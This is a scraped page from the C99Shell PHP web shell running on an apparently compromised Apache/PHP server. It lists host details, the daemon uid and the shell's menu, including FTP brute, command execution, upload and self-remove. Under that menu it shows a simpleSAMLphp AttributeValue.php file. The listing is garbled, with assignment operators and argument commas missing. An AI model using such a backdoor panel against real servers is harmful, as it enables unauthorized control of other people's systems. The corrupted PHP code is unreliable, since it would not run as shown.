!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/3ros/simplesamlphp/lib/SAML2/XML/saml/   drwxrwxr-x
Free 13.76 GB of 61.93 GB (22.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AttributeValue.php (2.62 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Class representing an AttributeValue.
 *
 * @package simpleSAMLphp
 * @version $Id$
 */
class SAML2_XML_saml_AttributeValue {

    
/**
     * The raw DOMElement representing this value.
     *
     * @var DOMElement
     */
    
public $element;


    
/**
     * Create an AttributeValue.
     *
     * @param mixed $value
     * The value of this element.
     * Can be one of:
     *  - string                      Create an attribute value with a simple string.
     *  - DOMElement(AttributeValue)  Create an attribute value of the given DOMElement.
     *  - DOMElement                  Create an attribute value with the given DOMElement as a child.
     */
    
public function __construct($value) {
        
assert('is_string($value) || $value instanceof DOMElement');

        if (
is_string($value)) {
            
$doc = new DOMDocument();
            
$this->element $doc->createElementNS(SAML2_Const::NS_SAML'saml:AttributeValue');
            
$this->element->setAttributeNS(SAML2_Const::NS_XSI'xsi:type''xs:string');
            
$this->element->appendChild($doc->createTextNode($value));

            
/* Make sure that the xs-namespace is available in the AttributeValue (for xs:string). */
            
$this->element->setAttributeNS(SAML2_Const::NS_XS'xs:tmp''tmp');
            
$this->element->removeAttributeNS(SAML2_Const::NS_XS'tmp');

            return;
        }

        if (
$value->namespaceURI === SAML2_Const::NS_SAML && $value->localName === 'AttributeValue') {
            
$this->element SAML2_Utils::copyElement($value);
            return;
        }

        
$doc = new DOMDocument();
        
$this->element $doc->createElementNS(SAML2_Const::NS_SAML'saml:AttributeValue');
        
SAML2_Utils::copyElement($value$this->element);
    }


    
/**
     * Append this attribute value to an element.
     *
     * @param DOMElement $parent  The element we should append this attribute value to.
     * @return DOMElement  The generated AttributeValue element.
     */
    
public function toXML(DOMElement $parent) {
        
assert('$this->element instanceof DOMElement');
        
assert('$this->element->namespaceURI === SAML2_Const::NS_SAML && $this->element->localName === "AttributeValue"');

        
$v SAML2_Utils::copyElement($this->element$parent);

        return 
$v;
    }

    
/*
     * Returns a plain text content of the attribute value.
     */
    
public function getString() {
        return 
$this->element->textContent;
    }


    
/**
     * Convert this attribute value to a string.
     *
     * If this element contains XML data, that data vil be encoded as a string and returned.
     *
     * @return string  This attribute value.
     */
    
public function __toString() {
        
assert('$this->element instanceof DOMElement');

        
$doc $this->element->ownerDocument;

        
$ret '';
        foreach (
$this->element->childNodes as $c) {
            
$ret .= $doc->saveXML($c);
        }

        return 
$ret;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4835 ]--